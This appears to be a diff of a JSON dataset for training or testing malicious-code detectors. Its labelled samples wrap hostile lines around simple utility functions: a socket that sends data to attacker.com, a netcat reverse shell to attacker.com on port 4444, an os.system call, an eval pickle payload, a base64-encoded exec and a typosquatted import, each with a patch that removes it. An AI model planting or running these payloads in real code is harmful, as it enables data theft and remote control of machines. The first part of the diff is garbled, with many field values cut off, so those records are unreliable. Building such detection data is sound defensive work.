|
| 478 |
"code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True",
|
| 479 |
"patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True",
|
| 480 |
"unit_test_code": "import code\nassert code.is_prime(7) == True\n",
|
| 481 |
"label": "malicious",
|
| 482 |
"source": "mutation_engine",
|
| 483 |
-
"attack_type": "obfuscated_exec"
|
| 484 |
-
"task_id": "medium_obfuscated"
|
| 485 |
},
|
| 486 |
{
|
| 487 |
-
"id": "
|
| 488 |
"type": "true_positive",
|
| 489 |
"code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params",
|
| 490 |
"patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params",
|
| 491 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 492 |
"label": "malicious",
|
| 493 |
"source": "mutation_engine",
|
| 494 |
-
"attack_type": "obfuscated_exec"
|
| 495 |
-
"task_id": "medium_obfuscated"
|
| 496 |
},
|
| 497 |
{
|
| 498 |
-
"id": "
|
| 499 |
-
"type": "
|
| 500 |
-
"code_snippet": "
|
| 501 |
-
"patch":
|
| 502 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 503 |
-
"label": "
|
| 504 |
"source": "mutation_engine",
|
| 505 |
-
"attack_type":
|
| 506 |
-
"task_id": "hard_patch"
|
| 507 |
},
|
| 508 |
{
|
| 509 |
-
"id": "
|
| 510 |
-
"type": "
|
| 511 |
-
"code_snippet": "
|
| 512 |
"patch": null,
|
| 513 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 514 |
"label": "benign",
|
| 515 |
"source": "mutation_engine",
|
| 516 |
-
"attack_type": null
|
| 517 |
-
"task_id": null
|
| 518 |
},
|
| 519 |
{
|
| 520 |
-
"id": "
|
| 521 |
-
"type": "
|
| 522 |
-
"code_snippet": "import
|
| 523 |
-
"patch":
|
| 524 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 525 |
-
"label": "
|
| 526 |
"source": "mutation_engine",
|
| 527 |
-
"attack_type":
|
| 528 |
-
"task_id": null
|
| 529 |
},
|
| 530 |
{
|
| 531 |
-
"id": "
|
| 532 |
"type": "true_positive",
|
| 533 |
-
"code_snippet": "
|
| 534 |
-
"patch": "def
|
| 535 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 536 |
"label": "malicious",
|
| 537 |
"source": "mutation_engine",
|
| 538 |
-
"attack_type": "
|
| 539 |
-
"task_id": "easy_typosquat"
|
| 540 |
},
|
| 541 |
{
|
| 542 |
-
"id": "
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 543 |
"type": "functional",
|
| 544 |
-
"code_snippet": "def
|
| 545 |
"patch": null,
|
| 546 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 547 |
"label": "benign",
|
| 548 |
"source": "mutation_engine",
|
| 549 |
-
"attack_type": null
|
| 550 |
-
"task_id": null
|
| 551 |
},
|
| 552 |
{
|
| 553 |
-
"id": "
|
| 554 |
"type": "functional",
|
| 555 |
-
"code_snippet": "
|
| 556 |
"patch": null,
|
| 557 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 558 |
"label": "benign",
|
| 559 |
"source": "mutation_engine",
|
| 560 |
-
"attack_type": null
|
| 561 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 562 |
},
|
| 563 |
{
|
| 564 |
-
"id": "
|
| 565 |
"type": "true_positive",
|
| 566 |
-
"code_snippet": "
|
| 567 |
-
"patch": "def
|
| 568 |
-
"unit_test_code": "import code\nassert
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 569 |
"label": "malicious",
|
| 570 |
"source": "mutation_engine",
|
| 571 |
-
"attack_type": "
|
| 572 |
-
"task_id": "medium_obfuscated"
|
| 573 |
},
|
| 574 |
{
|
| 575 |
-
"id": "
|
| 576 |
"type": "functional",
|
| 577 |
-
"code_snippet": "
|
| 578 |
"patch": null,
|
| 579 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 580 |
"label": "benign",
|
| 581 |
"source": "mutation_engine",
|
| 582 |
-
"attack_type": null
|
| 583 |
-
"task_id": null
|
| 584 |
},
|
| 585 |
{
|
| 586 |
-
"id": "
|
| 587 |
"type": "false_positive",
|
| 588 |
-
"code_snippet": "
|
| 589 |
"patch": null,
|
| 590 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 591 |
"label": "benign",
|
| 592 |
"source": "mutation_engine",
|
| 593 |
-
"attack_type": null
|
| 594 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 595 |
},
|
| 596 |
{
|
| 597 |
-
"id": "
|
| 598 |
"type": "functional",
|
| 599 |
-
"code_snippet": "def
|
| 600 |
"patch": null,
|
| 601 |
-
"unit_test_code": "import code\nassert code.
|
| 602 |
"label": "benign",
|
| 603 |
"source": "mutation_engine",
|
| 604 |
-
"attack_type": null
|
| 605 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 606 |
}
|
| 607 |
]
|
|
|
|
| 1 |
[
|
| 2 |
{
|
| 3 |
+
"id": "tp_80d1fbee",
|
| 4 |
"type": "true_positive",
|
| 5 |
+
"code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9",
|
| 6 |
+
"patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9",
|
| 7 |
+
"unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n",
|
| 8 |
"label": "malicious",
|
| 9 |
"source": "mutation_engine",
|
| 10 |
+
"attack_type": "socket_exfil"
|
|
|
|
| 11 |
},
|
| 12 |
{
|
| 13 |
+
"id": "tp_c619dda2",
|
| 14 |
+
"type": "true_positive",
|
| 15 |
+
"code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9",
|
| 16 |
+
"patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9",
|
| 17 |
+
"unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n",
|
| 18 |
+
"label": "malicious",
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 19 |
"source": "mutation_engine",
|
| 20 |
+
"attack_type": "socket_exfil"
|
|
|
|
| 21 |
},
|
| 22 |
{
|
| 23 |
+
"id": "fn_3b033b85",
|
| 24 |
"type": "functional",
|
| 25 |
+
"code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == '+':\n return a + b\n elif op == '-':\n return a - b\n elif op == '*':\n return a * b\n elif op == '/':\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None",
|
| 26 |
"patch": null,
|
| 27 |
+
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 28 |
"label": "benign",
|
| 29 |
"source": "mutation_engine",
|
| 30 |
+
"attack_type": null
|
|
|
|
| 31 |
},
|
| 32 |
{
|
| 33 |
+
"id": "tp_2dd7deae",
|
| 34 |
"type": "true_positive",
|
| 35 |
+
"code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())",
|
| 36 |
+
"patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())",
|
| 37 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 38 |
"label": "malicious",
|
| 39 |
"source": "mutation_engine",
|
| 40 |
+
"attack_type": "malicious_import"
|
|
|
|
| 41 |
},
|
| 42 |
{
|
| 43 |
+
"id": "tp_a582b4bc",
|
| 44 |
"type": "true_positive",
|
| 45 |
+
"code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]",
|
| 46 |
+
"patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]",
|
| 47 |
+
"unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n",
|
| 48 |
"label": "malicious",
|
| 49 |
"source": "mutation_engine",
|
| 50 |
+
"attack_type": "pickle_deserialization"
|
|
|
|
| 51 |
},
|
| 52 |
{
|
| 53 |
+
"id": "fn_baa60083",
|
| 54 |
+
"type": "functional",
|
| 55 |
+
"code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed",
|
| 56 |
+
"patch": null,
|
| 57 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 58 |
+
"label": "benign",
|
| 59 |
"source": "mutation_engine",
|
| 60 |
+
"attack_type": null
|
|
|
|
| 61 |
},
|
| 62 |
{
|
| 63 |
+
"id": "fn_6c9fad61",
|
| 64 |
+
"type": "functional",
|
| 65 |
+
"code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result",
|
| 66 |
"patch": null,
|
| 67 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 68 |
"label": "benign",
|
| 69 |
"source": "mutation_engine",
|
| 70 |
+
"attack_type": null
|
|
|
|
| 71 |
},
|
| 72 |
{
|
| 73 |
+
"id": "tp_79295142",
|
| 74 |
"type": "true_positive",
|
| 75 |
+
"code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit",
|
| 76 |
+
"patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit",
|
| 77 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 78 |
"label": "malicious",
|
| 79 |
"source": "mutation_engine",
|
| 80 |
+
"attack_type": "subprocess_backdoor"
|
|
|
|
| 81 |
},
|
| 82 |
{
|
| 83 |
+
"id": "tp_09b9784e",
|
| 84 |
"type": "true_positive",
|
| 85 |
+
"code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts",
|
| 86 |
+
"patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts",
|
| 87 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 88 |
"label": "malicious",
|
| 89 |
"source": "mutation_engine",
|
| 90 |
+
"attack_type": "socket_exfil"
|
|
|
|
| 91 |
},
|
| 92 |
{
|
| 93 |
+
"id": "tp_fe00ed96",
|
| 94 |
+
"type": "true_positive",
|
| 95 |
+
"code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split('\\n')\n if not lines:\n return []\n headers = lines[0].split(',')\n result = []\n for line in lines[1:]:\n values = line.split(',')\n result.append(dict(zip(headers, values)))\n return result",
|
| 96 |
+
"patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split('\\n')\n if not lines:\n return []\n headers = lines[0].split(',')\n result = []\n for line in lines[1:]:\n values = line.split(',')\n result.append(dict(zip(headers, values)))\n return result",
|
| 97 |
+
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 98 |
+
"label": "malicious",
|
| 99 |
"source": "mutation_engine",
|
| 100 |
+
"attack_type": "pickle_deserialization"
|
|
|
|
| 101 |
},
|
| 102 |
{
|
| 103 |
+
"id": "tp_dd80510f",
|
| 104 |
"type": "true_positive",
|
| 105 |
+
"code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed",
|
| 106 |
+
"patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed",
|
| 107 |
+
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 108 |
"label": "malicious",
|
| 109 |
"source": "mutation_engine",
|
| 110 |
+
"attack_type": "eval_hidden"
|
|
|
|
| 111 |
},
|
| 112 |
{
|
| 113 |
+
"id": "fn_071e0850",
|
| 114 |
"type": "functional",
|
| 115 |
+
"code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result",
|
| 116 |
"patch": null,
|
| 117 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 118 |
"label": "benign",
|
| 119 |
"source": "mutation_engine",
|
| 120 |
+
"attack_type": null
|
|
|
|
| 121 |
},
|
| 122 |
{
|
| 123 |
+
"id": "tp_3f67d541",
|
| 124 |
"type": "true_positive",
|
| 125 |
+
"code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)",
|
| 126 |
+
"patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)",
|
| 127 |
+
"unit_test_code": "import code\nassert code.factorial(5) == 120\n",
|
| 128 |
"label": "malicious",
|
| 129 |
"source": "mutation_engine",
|
| 130 |
+
"attack_type": "socket_exfil"
|
|
|
|
| 131 |
},
|
| 132 |
{
|
| 133 |
+
"id": "fn_6232589a",
|
| 134 |
"type": "functional",
|
| 135 |
+
"code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node",
|
| 136 |
"patch": null,
|
| 137 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 138 |
"label": "benign",
|
| 139 |
"source": "mutation_engine",
|
| 140 |
+
"attack_type": null
|
|
|
|
| 141 |
},
|
| 142 |
{
|
| 143 |
+
"id": "fp_c8b2ced2",
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 144 |
"type": "false_positive",
|
| 145 |
+
"code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)",
|
| 146 |
"patch": null,
|
| 147 |
"unit_test_code": "import code\nassert code.factorial(5) == 120\n",
|
| 148 |
"label": "benign",
|
| 149 |
"source": "mutation_engine",
|
| 150 |
+
"attack_type": null
|
|
|
|
| 151 |
},
|
| 152 |
{
|
| 153 |
+
"id": "fn_43e0b088",
|
| 154 |
"type": "functional",
|
| 155 |
+
"code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]",
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 156 |
"patch": null,
|
| 157 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 158 |
"label": "benign",
|
| 159 |
"source": "mutation_engine",
|
| 160 |
+
"attack_type": null
|
|
|
|
| 161 |
},
|
| 162 |
{
|
| 163 |
+
"id": "fp_91939d41",
|
| 164 |
"type": "false_positive",
|
| 165 |
+
"code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0",
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 166 |
"patch": null,
|
| 167 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 168 |
"label": "benign",
|
| 169 |
"source": "mutation_engine",
|
| 170 |
+
"attack_type": null
|
|
|
|
| 171 |
},
|
| 172 |
{
|
| 173 |
+
"id": "tp_059fedef",
|
| 174 |
"type": "true_positive",
|
| 175 |
+
"code_snippet": "import pythonn\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n title = title.lower()\n title = re.sub(r'[^a-z0-9\\s-]', '', title)\n return re.sub(r'[\\s-]+', '-', title).strip('-')",
|
| 176 |
+
"patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n title = title.lower()\n title = re.sub(r'[^a-z0-9\\s-]', '', title)\n return re.sub(r'[\\s-]+', '-', title).strip('-')",
|
| 177 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 178 |
"label": "malicious",
|
| 179 |
"source": "mutation_engine",
|
| 180 |
+
"attack_type": "typosquatting"
|
|
|
|
| 181 |
},
|
| 182 |
{
|
| 183 |
+
"id": "fp_125201e0",
|
| 184 |
"type": "false_positive",
|
| 185 |
+
"code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"",
|
| 186 |
"patch": null,
|
| 187 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 188 |
"label": "benign",
|
| 189 |
"source": "mutation_engine",
|
| 190 |
+
"attack_type": null
|
|
|
|
| 191 |
},
|
| 192 |
{
|
| 193 |
+
"id": "fp_d9dcf68e",
|
| 194 |
+
"type": "false_positive",
|
| 195 |
+
"code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9",
|
| 196 |
+
"patch": null,
|
| 197 |
+
"unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n",
|
| 198 |
+
"label": "benign",
|
| 199 |
"source": "mutation_engine",
|
| 200 |
+
"attack_type": null
|
|
|
|
| 201 |
},
|
| 202 |
{
|
| 203 |
+
"id": "tp_5a062473",
|
| 204 |
"type": "true_positive",
|
| 205 |
+
"code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)",
|
| 206 |
+
"patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)",
|
| 207 |
+
"unit_test_code": "import code\nassert code.factorial(5) == 120\n",
|
| 208 |
"label": "malicious",
|
| 209 |
"source": "mutation_engine",
|
| 210 |
+
"attack_type": "malicious_import"
|
|
|
|
| 211 |
},
|
| 212 |
{
|
| 213 |
+
"id": "fn_16406770",
|
| 214 |
"type": "functional",
|
| 215 |
+
"code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]",
|
| 216 |
"patch": null,
|
| 217 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 218 |
"label": "benign",
|
| 219 |
"source": "mutation_engine",
|
| 220 |
+
"attack_type": null
|
|
|
|
| 221 |
},
|
| 222 |
{
|
| 223 |
+
"id": "fn_beec918d",
|
| 224 |
+
"type": "functional",
|
| 225 |
+
"code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord('a') if char.islower() else ord('A')\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result",
|
| 226 |
+
"patch": null,
|
| 227 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 228 |
+
"label": "benign",
|
| 229 |
"source": "mutation_engine",
|
| 230 |
+
"attack_type": null
|
|
|
|
| 231 |
},
|
| 232 |
{
|
| 233 |
+
"id": "fp_fd8e8f9c",
|
| 234 |
+
"type": "false_positive",
|
| 235 |
+
"code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config",
|
| 236 |
"patch": null,
|
| 237 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 238 |
"label": "benign",
|
| 239 |
"source": "mutation_engine",
|
| 240 |
+
"attack_type": null
|
|
|
|
| 241 |
},
|
| 242 |
{
|
| 243 |
+
"id": "fp_9dbbf54f",
|
| 244 |
+
"type": "false_positive",
|
| 245 |
+
"code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params",
|
| 246 |
+
"patch": null,
|
| 247 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 248 |
+
"label": "benign",
|
| 249 |
"source": "mutation_engine",
|
| 250 |
+
"attack_type": null
|
|
|
|
| 251 |
},
|
| 252 |
{
|
| 253 |
+
"id": "fp_0740c495",
|
| 254 |
+
"type": "false_positive",
|
| 255 |
+
"code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts",
|
| 256 |
+
"patch": null,
|
| 257 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 258 |
+
"label": "benign",
|
| 259 |
"source": "mutation_engine",
|
| 260 |
+
"attack_type": null
|
|
|
|
| 261 |
},
|
| 262 |
{
|
| 263 |
+
"id": "fp_dc1362e1",
|
| 264 |
+
"type": "false_positive",
|
| 265 |
+
"code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0",
|
| 266 |
"patch": null,
|
| 267 |
+
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 268 |
"label": "benign",
|
| 269 |
"source": "mutation_engine",
|
| 270 |
+
"attack_type": null
|
|
|
|
| 271 |
},
|
| 272 |
{
|
| 273 |
+
"id": "fp_5902adae",
|
| 274 |
"type": "false_positive",
|
| 275 |
+
"code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == '+':\n return a + b\n elif op == '-':\n return a - b\n elif op == '*':\n return a * b\n elif op == '/':\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None",
|
| 276 |
"patch": null,
|
| 277 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 278 |
"label": "benign",
|
| 279 |
"source": "mutation_engine",
|
| 280 |
+
"attack_type": null
|
|
|
|
| 281 |
},
|
| 282 |
{
|
| 283 |
+
"id": "fn_bbbe2715",
|
| 284 |
+
"type": "functional",
|
| 285 |
+
"code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit",
|
| 286 |
"patch": null,
|
| 287 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 288 |
"label": "benign",
|
| 289 |
"source": "mutation_engine",
|
| 290 |
+
"attack_type": null
|
|
|
|
| 291 |
},
|
| 292 |
{
|
| 293 |
+
"id": "fp_aa64127a",
|
| 294 |
"type": "false_positive",
|
| 295 |
+
"code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"",
|
| 296 |
"patch": null,
|
| 297 |
+
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 298 |
"label": "benign",
|
| 299 |
"source": "mutation_engine",
|
| 300 |
+
